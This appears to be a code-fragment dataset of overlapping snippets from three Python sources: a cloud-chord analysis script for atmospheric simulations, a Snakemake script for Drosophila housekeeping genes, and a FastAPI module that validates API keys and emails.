"though del w_3d del ql_3d del thl_3d del qt_3d #hopefully",
"and a chordlength is created which is a list of",
"var_curtain_tmp else: print('wtf how is this zero: ',np.mean(w_tmp),w_tmp) #globals().update(locals()) ###############################################################################################################################################",
"surf_qt_flux/w_star surf_thl_flux = np.mean(thlflux_s_1d[idx_beg_chord:idx_end_chord]) thl_star = surf_thl_flux/w_star chord_w_star.append(w_star ) chord_thl_star.append(thl_star",
"get the fake time vector we load the wind from",
"chord_thl_25 =np.asarray(chord_thl_25) chord_thl_75 =np.asarray(chord_thl_75) chord_qt =np.asarray(chord_qt) chord_qt_25 =np.asarray(chord_qt_25) chord_qt_75 =np.asarray(chord_qt_75)",
"1 time3 = ttiimmee.time() print('curtain processing:',(time3-time2)/60.0,'minutes') print(':') print(':') print(':') time_end",
"(0, 2, 1)) qt_3d = np.transpose(qt_3d, (0, 2, 1)) thl_3d",
"w_2d = np.hstack([w_2d ,np.array(w_3d.reshape((nz,nx*ny)))]) ql_2d = np.hstack([ql_2d ,np.array(ql_3d.reshape((nz,nx*ny)))]) thl_2d =",
"a fake time resolution #we use the calculated cbl+300 meter",
"gets rid of 1D pre interpolation #I originally used interp2d,",
"cells buffer at the beginning and end, because for the",
"time resolution of the profile, #Then latter apply the nearest",
"profile. Works easiest for 3d output, 1d_flag needs to use",
"ch_duration = t_cbl_cl[t_chord_end]-t_cbl_cl[t_chord_begin] else: chord_z_min = 0 ch_duration = 0",
"file_prof['thl'][:,:] qt_prof = file_prof['qt'][:,:] nz_prof = w2.shape[1] z_prof = file_prof['z'][:]",
"w_star=(base_height*surf_flux)**(1/3) if reg_var=='w': boundary_scaling = w_star if reg_var=='qt': surf_flux =",
"fields. time_begin = ttiimmee.time() dz = 25.0 #39.0625 #should be",
"#value used to determine existence of cloud ql_min = 1e-5",
"twice so that deviding by n it comes out fin",
"=n_curtain_bin_up xr_dataset[reg_var+'_dw'].attrs['n'] =n_curtain_bin_dw xr_dataset.attrs = settings_dict save_string = directory_output+ reg_var+save_string_base+'_sizebin.nc'",
"#Regularized curtains, I am too lazy to pass on all",
"np.array(w_3d.reshape((nz,nx*ny))) ql_2d = np.array(ql_3d.reshape((nz,nx*ny))) qt_2d = np.array(qt_3d.reshape((nz,nx*ny))) thl_2d = np.array(thl_3d.reshape((nz,nx*ny)))",
"all cloudy cells #Use to have a different method using",
"cl_base[i]<cbl_1d[i]: z_idx_base[i] = cl_base[i] #Here the smoother comes into play:",
"any 3D variable as long as it is named the",
"= directory_input+date+'/w.nc' filename_l = directory_input+date+'/ql.nc' filename_qt = directory_input+date+'/qt.nc' filename_thl =",
"fog/dew stuff at the surface if t_chord_end-t_chord_begin>cell_min: chord_z_min = np.min(cl_base[cbl_cl_idx[t_chord_begin:t_chord_end]])",
"#Calculating the histogram, and adding it to the total histogram",
"to cloud base #Should be able to work for any",
"time requirements and have a number of values which fulfills",
"= np.mean(qtflux_s_1d[idx_beg_chord:idx_end_chord]) boundary_scaling = surf_flux/w_star if reg_var=='thl': thl_flux = np.mean(thlflux_s_1d[idx_beg_chord:idx_end_chord])",
"that n_x and n_y are roughly same #Could be made",
"interp1d(z_reg_orig, scaling_factor_y_prof_ext, kind='nearest') scaling_factor_x_inter = f_x(z_reg_mid) scaling_factor_y_inter = f_y(z_reg_mid) print('Scaling",
"for tt in range(len(time_prof)): w_var = 1.0 z=z_min while w_var",
"is calculate the chord base using the 25 percentile in",
"later on I set the maximum cbl height to 60",
"height heigher than 0.6 domain height, could crash regularization later",
"mean scaling_factor_x_inter: ',np.mean(scaling_factor_x_inter), ' mean scaling_factor_y_inter: ',np.mean(scaling_factor_y_inter)) ### Clustering 1D",
"calculate a vector for the lower time resolution of the",
"cbl_1d_prof[tt]>0.6*nz_prof: print('warning, cbl height heigher than 0.6 domain height, could",
"the same everywhere I just use idx_beg_curtain as one. i=idx_beg_curtain",
"determine existence of cloud ql_min = 1e-5 z_min = 10",
"= t_cbl_cl[t_chord_end]-t_cbl_cl[t_chord_begin] else: chord_z_min = 0 ch_duration = 0 if",
"#Should be able to work for any variable in the",
"value var_orig_col = input_2d_field[:,i] #Regularizing the z axes so that",
"[] #Sum of w below #Coming next chord_w_per = np.zeros([0,n_percentiles])",
"v and their scaling u_ref_prof = file_prof['u'][it,:] v_ref_prof = file_prof['v'][it,:]",
"helps save any memory though del w_3d del ql_3d del",
"V_ref=np.sqrt(u_ref**2+v_ref**2) ### Now appending chord properties chord_timesteps.append(t_chord_end-t_chord_begin) chord_duration.append(ch_duration) chord_length.append(ch_duration*V_ref) tmp_base_height",
"the fuckery to turn the 3D fields into 2d slices",
"be regularized filename_var = directory_input+date+'/'+reg_var+'.nc' file_var = Dataset(filename_var,read='r') filename_prof=glob.glob(directory_input+date+'/*default?0*.nc')[0] #if",
"I instead made it a nested function var_curtain_tmp = (func_curtain_reg(var_2d)).transpose()",
"scaling u_ref_prof = file_prof['u'][it,:] v_ref_prof = file_prof['v'][it,:] V_ref_prof = np.sqrt(u_ref_prof**2+v_ref_prof**2)",
"ql_3d del var_3d gc.collect() #Switching to anomalies if anomaly flag",
"any memory though del w_3d del ql_3d del thl_3d del",
"= [] chord_w_star = [] chord_thl_star = [] chord_qt_star =",
"than curtain_min cells and curtain tail noes not extend beyond",
"',len(cbl_cl_idx),'cloudy columns') chord_idx_list = [] while t_cloudy_idx < len(cbl_cl_idx)-1:# and",
"variables to analyze is unclear, I will try to include",
"== 1: t_gap = 0. #should be pretty strict, no",
"= file_col.variables['time'][:] print('t_1d',t_1d) thl_2d = file_col.variables['thl'][:] thl_2d = thl_2d.transpose() qt_2d",
"used is determined from the mean cloud base height #",
"to hopefully avoid impact of harsch jumps #2019-03-28: Added simplified",
"cbl_1d[:] = cbl_1d_prof[it] #The needed surface buoyancy flux, which is",
"beards # proc_chords is used for chords #proc_beard_regularize for generating"
] |
[
"return list(set.intersection(*list(map(partial(convert_to_fbgn, annot=annot), file_names)))) def convert_to_fbgn(file_name, annot): return set( [",
"[ fbgn for fbgn in map(lambda x: annot.get(x, None), pickle_load(file_name))",
"genes. \"\"\" import os from functools import partial import pandas",
"def main(): # Load mapping of YOgn to FBgn annot",
"] ) if __name__ == \"__main__\": if os.getenv(\"SNAKE_DEBUG\", False): from",
"== \"__main__\": if os.getenv(\"SNAKE_DEBUG\", False): from larval_gonad.debug import snakemake_debug snakemake",
"intersection of w1118 and orgR to create a list of",
"workdir=\"expression-atlas-wf\", input=dict( male=[ \"../output/expression-atlas-wf/tau_housekeeping/w1118_male.pkl\", \"../output/expression-atlas-wf/tau_housekeeping/orgR_male.pkl\", ], female=[ \"../output/expression-atlas-wf/tau_housekeeping/w1118_female.pkl\", \"../output/expression-atlas-wf/tau_housekeeping/orgR_female.pkl\", ],",
"in map(lambda x: annot.get(x, None), pickle_load(file_name)) if fbgn is not",
"of YOgn to FBgn annot = pickle_load(snakemake.input.annot[0]) pickle_dump(intersect_fbgns(snakemake.input.male, annot), snakemake.output.male)",
"x: annot.get(x, None), pickle_load(file_name)) if fbgn is not None ]",
"list of D. mel housekeeping genes. \"\"\" import os from",
"import os from functools import partial import pandas as pd",
"input=dict( male=[ \"../output/expression-atlas-wf/tau_housekeeping/w1118_male.pkl\", \"../output/expression-atlas-wf/tau_housekeeping/orgR_male.pkl\", ], female=[ \"../output/expression-atlas-wf/tau_housekeeping/w1118_female.pkl\", \"../output/expression-atlas-wf/tau_housekeeping/orgR_female.pkl\", ], annot=\"../output/expression-atlas-wf/YOgn_to_dmel_ortholog/dmel.pkl\",",
"D. mel housekeeping genes. \"\"\" import os from functools import",
"pandas as pd from larval_gonad.io import pickle_load, pickle_dump def main():",
"larval_gonad.io import pickle_load, pickle_dump def main(): # Load mapping of",
"pickle_load(file_name)) if fbgn is not None ] ) if __name__",
"functools import partial import pandas as pd from larval_gonad.io import",
"pickle_dump(intersect_fbgns(snakemake.input.female, annot), snakemake.output.female) def intersect_fbgns(file_names, annot): return list(set.intersection(*list(map(partial(convert_to_fbgn, annot=annot), file_names))))",
"None), pickle_load(file_name)) if fbgn is not None ] ) if",
"\"\"\" import os from functools import partial import pandas as",
"if os.getenv(\"SNAKE_DEBUG\", False): from larval_gonad.debug import snakemake_debug snakemake = snakemake_debug(",
"partial import pandas as pd from larval_gonad.io import pickle_load, pickle_dump",
"on tau. Uses the intersection of w1118 and orgR to",
"list(set.intersection(*list(map(partial(convert_to_fbgn, annot=annot), file_names)))) def convert_to_fbgn(file_name, annot): return set( [ fbgn",
"pickle_dump def main(): # Load mapping of YOgn to FBgn",
"mapping of YOgn to FBgn annot = pickle_load(snakemake.input.annot[0]) pickle_dump(intersect_fbgns(snakemake.input.male, annot),",
"import pickle_load, pickle_dump def main(): # Load mapping of YOgn",
"pickle_dump(intersect_fbgns(snakemake.input.male, annot), snakemake.output.male) pickle_dump(intersect_fbgns(snakemake.input.female, annot), snakemake.output.female) def intersect_fbgns(file_names, annot): return",
") if __name__ == \"__main__\": if os.getenv(\"SNAKE_DEBUG\", False): from larval_gonad.debug",
"snakemake_debug snakemake = snakemake_debug( workdir=\"expression-atlas-wf\", input=dict( male=[ \"../output/expression-atlas-wf/tau_housekeeping/w1118_male.pkl\", \"../output/expression-atlas-wf/tau_housekeeping/orgR_male.pkl\", ],",
"main(): # Load mapping of YOgn to FBgn annot =",
"the intersection of w1118 and orgR to create a list",
"snakemake_debug( workdir=\"expression-atlas-wf\", input=dict( male=[ \"../output/expression-atlas-wf/tau_housekeeping/w1118_male.pkl\", \"../output/expression-atlas-wf/tau_housekeeping/orgR_male.pkl\", ], female=[ \"../output/expression-atlas-wf/tau_housekeeping/w1118_female.pkl\", \"../output/expression-atlas-wf/tau_housekeeping/orgR_female.pkl\",",
"FBgn annot = pickle_load(snakemake.input.annot[0]) pickle_dump(intersect_fbgns(snakemake.input.male, annot), snakemake.output.male) pickle_dump(intersect_fbgns(snakemake.input.female, annot), snakemake.output.female)",
"snakemake = snakemake_debug( workdir=\"expression-atlas-wf\", input=dict( male=[ \"../output/expression-atlas-wf/tau_housekeeping/w1118_male.pkl\", \"../output/expression-atlas-wf/tau_housekeeping/orgR_male.pkl\", ], female=[",
"Load mapping of YOgn to FBgn annot = pickle_load(snakemake.input.annot[0]) pickle_dump(intersect_fbgns(snakemake.input.male,",
"housekeeping genes. \"\"\" import os from functools import partial import",
"pickle_load(snakemake.input.annot[0]) pickle_dump(intersect_fbgns(snakemake.input.male, annot), snakemake.output.male) pickle_dump(intersect_fbgns(snakemake.input.female, annot), snakemake.output.female) def intersect_fbgns(file_names, annot):",
"tau. Uses the intersection of w1118 and orgR to create",
"a list of D. mel housekeeping genes. \"\"\" import os",
"from larval_gonad.io import pickle_load, pickle_dump def main(): # Load mapping",
"to create a list of D. mel housekeeping genes. \"\"\"",
"snakemake.output.male) pickle_dump(intersect_fbgns(snakemake.input.female, annot), snakemake.output.female) def intersect_fbgns(file_names, annot): return list(set.intersection(*list(map(partial(convert_to_fbgn, annot=annot),",
"larval_gonad.debug import snakemake_debug snakemake = snakemake_debug( workdir=\"expression-atlas-wf\", input=dict( male=[ \"../output/expression-atlas-wf/tau_housekeeping/w1118_male.pkl\",",
"fbgn for fbgn in map(lambda x: annot.get(x, None), pickle_load(file_name)) if",
"for fbgn in map(lambda x: annot.get(x, None), pickle_load(file_name)) if fbgn",
"annot): return set( [ fbgn for fbgn in map(lambda x:",
"pd from larval_gonad.io import pickle_load, pickle_dump def main(): # Load",
"False): from larval_gonad.debug import snakemake_debug snakemake = snakemake_debug( workdir=\"expression-atlas-wf\", input=dict(",
"\"../output/expression-atlas-wf/tau_housekeeping/orgR_male.pkl\", ], female=[ \"../output/expression-atlas-wf/tau_housekeeping/w1118_female.pkl\", \"../output/expression-atlas-wf/tau_housekeeping/orgR_female.pkl\", ], annot=\"../output/expression-atlas-wf/YOgn_to_dmel_ortholog/dmel.pkl\", ), ) main()",
"mel housekeeping genes. \"\"\" import os from functools import partial",
"to FBgn annot = pickle_load(snakemake.input.annot[0]) pickle_dump(intersect_fbgns(snakemake.input.male, annot), snakemake.output.male) pickle_dump(intersect_fbgns(snakemake.input.female, annot),",
"fbgn is not None ] ) if __name__ == \"__main__\":",
"os.getenv(\"SNAKE_DEBUG\", False): from larval_gonad.debug import snakemake_debug snakemake = snakemake_debug( workdir=\"expression-atlas-wf\",",
"os from functools import partial import pandas as pd from",
"def intersect_fbgns(file_names, annot): return list(set.intersection(*list(map(partial(convert_to_fbgn, annot=annot), file_names)))) def convert_to_fbgn(file_name, annot):",
"based on tau. Uses the intersection of w1118 and orgR",
"intersect_fbgns(file_names, annot): return list(set.intersection(*list(map(partial(convert_to_fbgn, annot=annot), file_names)))) def convert_to_fbgn(file_name, annot): return",
"annot): return list(set.intersection(*list(map(partial(convert_to_fbgn, annot=annot), file_names)))) def convert_to_fbgn(file_name, annot): return set(",
"as pd from larval_gonad.io import pickle_load, pickle_dump def main(): #",
"if fbgn is not None ] ) if __name__ ==",
"genes based on tau. Uses the intersection of w1118 and",
"YOgn to FBgn annot = pickle_load(snakemake.input.annot[0]) pickle_dump(intersect_fbgns(snakemake.input.male, annot), snakemake.output.male) pickle_dump(intersect_fbgns(snakemake.input.female,",
"__name__ == \"__main__\": if os.getenv(\"SNAKE_DEBUG\", False): from larval_gonad.debug import snakemake_debug",
"annot=annot), file_names)))) def convert_to_fbgn(file_name, annot): return set( [ fbgn for",
"and orgR to create a list of D. mel housekeeping",
"import pandas as pd from larval_gonad.io import pickle_load, pickle_dump def",
"mel housekeeping genes based on tau. Uses the intersection of",
"convert_to_fbgn(file_name, annot): return set( [ fbgn for fbgn in map(lambda",
"annot), snakemake.output.female) def intersect_fbgns(file_names, annot): return list(set.intersection(*list(map(partial(convert_to_fbgn, annot=annot), file_names)))) def",
"fbgn in map(lambda x: annot.get(x, None), pickle_load(file_name)) if fbgn is",
"w1118 and orgR to create a list of D. mel",
"\"\"\"D. mel housekeeping genes based on tau. Uses the intersection",
"file_names)))) def convert_to_fbgn(file_name, annot): return set( [ fbgn for fbgn",
"= pickle_load(snakemake.input.annot[0]) pickle_dump(intersect_fbgns(snakemake.input.male, annot), snakemake.output.male) pickle_dump(intersect_fbgns(snakemake.input.female, annot), snakemake.output.female) def intersect_fbgns(file_names,",
"annot), snakemake.output.male) pickle_dump(intersect_fbgns(snakemake.input.female, annot), snakemake.output.female) def intersect_fbgns(file_names, annot): return list(set.intersection(*list(map(partial(convert_to_fbgn,",
"set( [ fbgn for fbgn in map(lambda x: annot.get(x, None),",
"of w1118 and orgR to create a list of D.",
"= snakemake_debug( workdir=\"expression-atlas-wf\", input=dict( male=[ \"../output/expression-atlas-wf/tau_housekeeping/w1118_male.pkl\", \"../output/expression-atlas-wf/tau_housekeeping/orgR_male.pkl\", ], female=[ \"../output/expression-atlas-wf/tau_housekeeping/w1118_female.pkl\",",
"male=[ \"../output/expression-atlas-wf/tau_housekeeping/w1118_male.pkl\", \"../output/expression-atlas-wf/tau_housekeeping/orgR_male.pkl\", ], female=[ \"../output/expression-atlas-wf/tau_housekeeping/w1118_female.pkl\", \"../output/expression-atlas-wf/tau_housekeeping/orgR_female.pkl\", ], annot=\"../output/expression-atlas-wf/YOgn_to_dmel_ortholog/dmel.pkl\", ),",
"return set( [ fbgn for fbgn in map(lambda x: annot.get(x,",
"of D. mel housekeeping genes. \"\"\" import os from functools",
"is not None ] ) if __name__ == \"__main__\": if",
"if __name__ == \"__main__\": if os.getenv(\"SNAKE_DEBUG\", False): from larval_gonad.debug import",
"from functools import partial import pandas as pd from larval_gonad.io",
"annot.get(x, None), pickle_load(file_name)) if fbgn is not None ] )",
"not None ] ) if __name__ == \"__main__\": if os.getenv(\"SNAKE_DEBUG\",",
"Uses the intersection of w1118 and orgR to create a",
"import partial import pandas as pd from larval_gonad.io import pickle_load,",
"pickle_load, pickle_dump def main(): # Load mapping of YOgn to",
"create a list of D. mel housekeeping genes. \"\"\" import",
"annot = pickle_load(snakemake.input.annot[0]) pickle_dump(intersect_fbgns(snakemake.input.male, annot), snakemake.output.male) pickle_dump(intersect_fbgns(snakemake.input.female, annot), snakemake.output.female) def",
"snakemake.output.female) def intersect_fbgns(file_names, annot): return list(set.intersection(*list(map(partial(convert_to_fbgn, annot=annot), file_names)))) def convert_to_fbgn(file_name,",
"map(lambda x: annot.get(x, None), pickle_load(file_name)) if fbgn is not None",
"import snakemake_debug snakemake = snakemake_debug( workdir=\"expression-atlas-wf\", input=dict( male=[ \"../output/expression-atlas-wf/tau_housekeeping/w1118_male.pkl\", \"../output/expression-atlas-wf/tau_housekeeping/orgR_male.pkl\",",
"# Load mapping of YOgn to FBgn annot = pickle_load(snakemake.input.annot[0])",
"\"__main__\": if os.getenv(\"SNAKE_DEBUG\", False): from larval_gonad.debug import snakemake_debug snakemake =",
"from larval_gonad.debug import snakemake_debug snakemake = snakemake_debug( workdir=\"expression-atlas-wf\", input=dict( male=[",
"None ] ) if __name__ == \"__main__\": if os.getenv(\"SNAKE_DEBUG\", False):",
"housekeeping genes based on tau. Uses the intersection of w1118",
"orgR to create a list of D. mel housekeeping genes.",
"def convert_to_fbgn(file_name, annot): return set( [ fbgn for fbgn in",
"\"../output/expression-atlas-wf/tau_housekeeping/w1118_male.pkl\", \"../output/expression-atlas-wf/tau_housekeeping/orgR_male.pkl\", ], female=[ \"../output/expression-atlas-wf/tau_housekeeping/w1118_female.pkl\", \"../output/expression-atlas-wf/tau_housekeeping/orgR_female.pkl\", ], annot=\"../output/expression-atlas-wf/YOgn_to_dmel_ortholog/dmel.pkl\", ), )"
] |
[
"verified raise HTTPException( status_code=HTTP_401_UNAUTHORIZED, detail=\"Email not verified\", headers={} ) #",
"# not a valid email provided raise HTTPException( status_code=HTTP_400_BAD_REQUEST, detail=\"Unknown",
"APIKeyHeader from fastapi import HTTPException, Security, Depends from starlette.status import",
"auto_error=False) email_scheme = APIKeyHeader(name=\"X-EMAIL-ID\", auto_error=False) async def validate_request( api_key: Optional[str]",
"<filename>api-server/server/core/key.py \"\"\" Api Key validation \"\"\" from typing import Optional",
"api_key is None: raise HTTPException( status_code=HTTP_400_BAD_REQUEST, detail=\"X-API-KEY is missing\", headers={}",
"= APIKeyHeader(name=\"X-EMAIL-ID\", auto_error=False) async def validate_request( api_key: Optional[str] = Security(api_key_scheme),",
"verify_key from server.db.mongodb import AsyncIOMotorClient, get_database from server.models.user import User",
"Depends from starlette.status import HTTP_401_UNAUTHORIZED, HTTP_400_BAD_REQUEST, HTTP_403_FORBIDDEN from server.core.security import",
"if email_id is None: raise HTTPException( status_code=HTTP_400_BAD_REQUEST, detail=\"X-EMAIL-ID is missing\",",
"user: api_key = str(user.salt) + str(api_key) if not verify_key(api_key, user.hashed_api_key):",
"import verify_key from server.db.mongodb import AsyncIOMotorClient, get_database from server.models.user import",
"& API key if user: api_key = str(user.salt) + str(api_key)",
"HTTPException( status_code=HTTP_400_BAD_REQUEST, detail=\"X-API-KEY is missing\", headers={} ) if email_id is",
"raise HTTPException( status_code=HTTP_403_FORBIDDEN, detail=\"User is disabled\", headers={} ) if not",
"disabled user raise HTTPException( status_code=HTTP_403_FORBIDDEN, detail=\"User is disabled\", headers={} )",
") -> Optional[User]: \"\"\"Validate a request with given email and",
"import EmailStr api_key_scheme = APIKeyHeader(name=\"X-API-KEY\", auto_error=False) email_scheme = APIKeyHeader(name=\"X-EMAIL-ID\", auto_error=False)",
"not allowed\", headers={} ) if user.disabled: # disabled user raise",
"user.is_active: # user's email is not verified raise HTTPException( status_code=HTTP_401_UNAUTHORIZED,",
"# All verified return User(**user.dict()) else: # not a valid",
"to any endpoint resource \"\"\" if api_key is None: raise",
"APIKeyHeader(name=\"X-API-KEY\", auto_error=False) email_scheme = APIKeyHeader(name=\"X-EMAIL-ID\", auto_error=False) async def validate_request( api_key:",
"verify email & API key if user: api_key = str(user.salt)",
"fastapi.security.api_key import APIKeyHeader from fastapi import HTTPException, Security, Depends from",
"AsyncIOMotorClient, get_database from server.models.user import User from server.db.crud.user import get_user_by_email",
"HTTP_403_FORBIDDEN from server.core.security import verify_key from server.db.mongodb import AsyncIOMotorClient, get_database",
"from server.core.security import verify_key from server.db.mongodb import AsyncIOMotorClient, get_database from",
"import HTTP_401_UNAUTHORIZED, HTTP_400_BAD_REQUEST, HTTP_403_FORBIDDEN from server.core.security import verify_key from server.db.mongodb",
"email and api key to any endpoint resource \"\"\" if",
"is not verified raise HTTPException( status_code=HTTP_401_UNAUTHORIZED, detail=\"Email not verified\", headers={}",
"with given email and api key to any endpoint resource",
"is None: raise HTTPException( status_code=HTTP_400_BAD_REQUEST, detail=\"X-EMAIL-ID is missing\", headers={} )",
"if not user.is_active: # user's email is not verified raise",
"HTTPException( status_code=HTTP_403_FORBIDDEN, detail=\"User is disabled\", headers={} ) if not user.is_active:",
") if not user.is_active: # user's email is not verified",
"None: raise HTTPException( status_code=HTTP_400_BAD_REQUEST, detail=\"X-EMAIL-ID is missing\", headers={} ) user",
"status_code=HTTP_400_BAD_REQUEST, detail=\"X-EMAIL-ID is missing\", headers={} ) user = await get_user_by_email(db,",
") # All verified return User(**user.dict()) else: # not a",
"raise HTTPException( status_code=HTTP_401_UNAUTHORIZED, detail=\"Access not allowed\", headers={} ) if user.disabled:",
"get_user_by_email from pydantic import EmailStr api_key_scheme = APIKeyHeader(name=\"X-API-KEY\", auto_error=False) email_scheme",
"= Depends(get_database) ) -> Optional[User]: \"\"\"Validate a request with given",
") if user.disabled: # disabled user raise HTTPException( status_code=HTTP_403_FORBIDDEN, detail=\"User",
"HTTPException( status_code=HTTP_401_UNAUTHORIZED, detail=\"Access not allowed\", headers={} ) if user.disabled: #",
"api key mismatch raise HTTPException( status_code=HTTP_401_UNAUTHORIZED, detail=\"Access not allowed\", headers={}",
"api_key: Optional[str] = Security(api_key_scheme), email_id: Optional[EmailStr] = Security(email_scheme), db: AsyncIOMotorClient",
"EmailStr api_key_scheme = APIKeyHeader(name=\"X-API-KEY\", auto_error=False) email_scheme = APIKeyHeader(name=\"X-EMAIL-ID\", auto_error=False) async",
"from typing import Optional from fastapi.security.api_key import APIKeyHeader from fastapi",
"email & API key if user: api_key = str(user.salt) +",
"verify_key(api_key, user.hashed_api_key): # api key mismatch raise HTTPException( status_code=HTTP_401_UNAUTHORIZED, detail=\"Access",
"fastapi import HTTPException, Security, Depends from starlette.status import HTTP_401_UNAUTHORIZED, HTTP_400_BAD_REQUEST,",
"api key to any endpoint resource \"\"\" if api_key is",
"user = await get_user_by_email(db, email_id) # verify email & API",
"detail=\"User is disabled\", headers={} ) if not user.is_active: # user's",
"raise HTTPException( status_code=HTTP_400_BAD_REQUEST, detail=\"X-API-KEY is missing\", headers={} ) if email_id",
"if not verify_key(api_key, user.hashed_api_key): # api key mismatch raise HTTPException(",
"headers={} ) if not user.is_active: # user's email is not",
"valid email provided raise HTTPException( status_code=HTTP_400_BAD_REQUEST, detail=\"Unknown Email\", headers={} )",
"typing import Optional from fastapi.security.api_key import APIKeyHeader from fastapi import",
"from pydantic import EmailStr api_key_scheme = APIKeyHeader(name=\"X-API-KEY\", auto_error=False) email_scheme =",
"mismatch raise HTTPException( status_code=HTTP_401_UNAUTHORIZED, detail=\"Access not allowed\", headers={} ) if",
"Optional[User]: \"\"\"Validate a request with given email and api key",
"\"\"\"Validate a request with given email and api key to",
"api_key = str(user.salt) + str(api_key) if not verify_key(api_key, user.hashed_api_key): #",
"= str(user.salt) + str(api_key) if not verify_key(api_key, user.hashed_api_key): # api",
"detail=\"X-API-KEY is missing\", headers={} ) if email_id is None: raise",
"given email and api key to any endpoint resource \"\"\"",
"Optional[EmailStr] = Security(email_scheme), db: AsyncIOMotorClient = Depends(get_database) ) -> Optional[User]:",
"HTTPException( status_code=HTTP_400_BAD_REQUEST, detail=\"X-EMAIL-ID is missing\", headers={} ) user = await",
"disabled\", headers={} ) if not user.is_active: # user's email is",
"key if user: api_key = str(user.salt) + str(api_key) if not",
"All verified return User(**user.dict()) else: # not a valid email",
"Key validation \"\"\" from typing import Optional from fastapi.security.api_key import",
"missing\", headers={} ) if email_id is None: raise HTTPException( status_code=HTTP_400_BAD_REQUEST,",
"import Optional from fastapi.security.api_key import APIKeyHeader from fastapi import HTTPException,",
"get_database from server.models.user import User from server.db.crud.user import get_user_by_email from",
"from server.models.user import User from server.db.crud.user import get_user_by_email from pydantic",
"str(api_key) if not verify_key(api_key, user.hashed_api_key): # api key mismatch raise",
"# verify email & API key if user: api_key =",
"missing\", headers={} ) user = await get_user_by_email(db, email_id) # verify",
"server.models.user import User from server.db.crud.user import get_user_by_email from pydantic import",
"user raise HTTPException( status_code=HTTP_403_FORBIDDEN, detail=\"User is disabled\", headers={} ) if",
"user's email is not verified raise HTTPException( status_code=HTTP_401_UNAUTHORIZED, detail=\"Email not",
"= await get_user_by_email(db, email_id) # verify email & API key",
"import HTTPException, Security, Depends from starlette.status import HTTP_401_UNAUTHORIZED, HTTP_400_BAD_REQUEST, HTTP_403_FORBIDDEN",
"HTTPException, Security, Depends from starlette.status import HTTP_401_UNAUTHORIZED, HTTP_400_BAD_REQUEST, HTTP_403_FORBIDDEN from",
"db: AsyncIOMotorClient = Depends(get_database) ) -> Optional[User]: \"\"\"Validate a request",
"await get_user_by_email(db, email_id) # verify email & API key if",
"any endpoint resource \"\"\" if api_key is None: raise HTTPException(",
"verified return User(**user.dict()) else: # not a valid email provided",
"def validate_request( api_key: Optional[str] = Security(api_key_scheme), email_id: Optional[EmailStr] = Security(email_scheme),",
"key to any endpoint resource \"\"\" if api_key is None:",
"async def validate_request( api_key: Optional[str] = Security(api_key_scheme), email_id: Optional[EmailStr] =",
"if user.disabled: # disabled user raise HTTPException( status_code=HTTP_403_FORBIDDEN, detail=\"User is",
"allowed\", headers={} ) if user.disabled: # disabled user raise HTTPException(",
"-> Optional[User]: \"\"\"Validate a request with given email and api",
"from fastapi import HTTPException, Security, Depends from starlette.status import HTTP_401_UNAUTHORIZED,",
"None: raise HTTPException( status_code=HTTP_400_BAD_REQUEST, detail=\"X-API-KEY is missing\", headers={} ) if",
"detail=\"Email not verified\", headers={} ) # All verified return User(**user.dict())",
"User(**user.dict()) else: # not a valid email provided raise HTTPException(",
"validate_request( api_key: Optional[str] = Security(api_key_scheme), email_id: Optional[EmailStr] = Security(email_scheme), db:",
"= APIKeyHeader(name=\"X-API-KEY\", auto_error=False) email_scheme = APIKeyHeader(name=\"X-EMAIL-ID\", auto_error=False) async def validate_request(",
"return User(**user.dict()) else: # not a valid email provided raise",
"detail=\"Access not allowed\", headers={} ) if user.disabled: # disabled user",
"detail=\"X-EMAIL-ID is missing\", headers={} ) user = await get_user_by_email(db, email_id)",
"Api Key validation \"\"\" from typing import Optional from fastapi.security.api_key",
"key mismatch raise HTTPException( status_code=HTTP_401_UNAUTHORIZED, detail=\"Access not allowed\", headers={} )",
"email_id: Optional[EmailStr] = Security(email_scheme), db: AsyncIOMotorClient = Depends(get_database) ) ->",
"str(user.salt) + str(api_key) if not verify_key(api_key, user.hashed_api_key): # api key",
"verified\", headers={} ) # All verified return User(**user.dict()) else: #",
"email_scheme = APIKeyHeader(name=\"X-EMAIL-ID\", auto_error=False) async def validate_request( api_key: Optional[str] =",
"\"\"\" if api_key is None: raise HTTPException( status_code=HTTP_400_BAD_REQUEST, detail=\"X-API-KEY is",
"HTTP_400_BAD_REQUEST, HTTP_403_FORBIDDEN from server.core.security import verify_key from server.db.mongodb import AsyncIOMotorClient,",
"import User from server.db.crud.user import get_user_by_email from pydantic import EmailStr",
"API key if user: api_key = str(user.salt) + str(api_key) if",
"a valid email provided raise HTTPException( status_code=HTTP_400_BAD_REQUEST, detail=\"Unknown Email\", headers={}",
"from starlette.status import HTTP_401_UNAUTHORIZED, HTTP_400_BAD_REQUEST, HTTP_403_FORBIDDEN from server.core.security import verify_key",
"\"\"\" Api Key validation \"\"\" from typing import Optional from",
"auto_error=False) async def validate_request( api_key: Optional[str] = Security(api_key_scheme), email_id: Optional[EmailStr]",
"# disabled user raise HTTPException( status_code=HTTP_403_FORBIDDEN, detail=\"User is disabled\", headers={}",
"resource \"\"\" if api_key is None: raise HTTPException( status_code=HTTP_400_BAD_REQUEST, detail=\"X-API-KEY",
"= Security(email_scheme), db: AsyncIOMotorClient = Depends(get_database) ) -> Optional[User]: \"\"\"Validate",
"is missing\", headers={} ) if email_id is None: raise HTTPException(",
"email is not verified raise HTTPException( status_code=HTTP_401_UNAUTHORIZED, detail=\"Email not verified\",",
"server.core.security import verify_key from server.db.mongodb import AsyncIOMotorClient, get_database from server.models.user",
"status_code=HTTP_403_FORBIDDEN, detail=\"User is disabled\", headers={} ) if not user.is_active: #",
"Security(email_scheme), db: AsyncIOMotorClient = Depends(get_database) ) -> Optional[User]: \"\"\"Validate a",
"is missing\", headers={} ) user = await get_user_by_email(db, email_id) #",
"get_user_by_email(db, email_id) # verify email & API key if user:",
"Security(api_key_scheme), email_id: Optional[EmailStr] = Security(email_scheme), db: AsyncIOMotorClient = Depends(get_database) )",
"Security, Depends from starlette.status import HTTP_401_UNAUTHORIZED, HTTP_400_BAD_REQUEST, HTTP_403_FORBIDDEN from server.core.security",
"endpoint resource \"\"\" if api_key is None: raise HTTPException( status_code=HTTP_400_BAD_REQUEST,",
"is disabled\", headers={} ) if not user.is_active: # user's email",
"headers={} ) # All verified return User(**user.dict()) else: # not",
"api_key_scheme = APIKeyHeader(name=\"X-API-KEY\", auto_error=False) email_scheme = APIKeyHeader(name=\"X-EMAIL-ID\", auto_error=False) async def",
"status_code=HTTP_401_UNAUTHORIZED, detail=\"Access not allowed\", headers={} ) if user.disabled: # disabled",
"else: # not a valid email provided raise HTTPException( status_code=HTTP_400_BAD_REQUEST,",
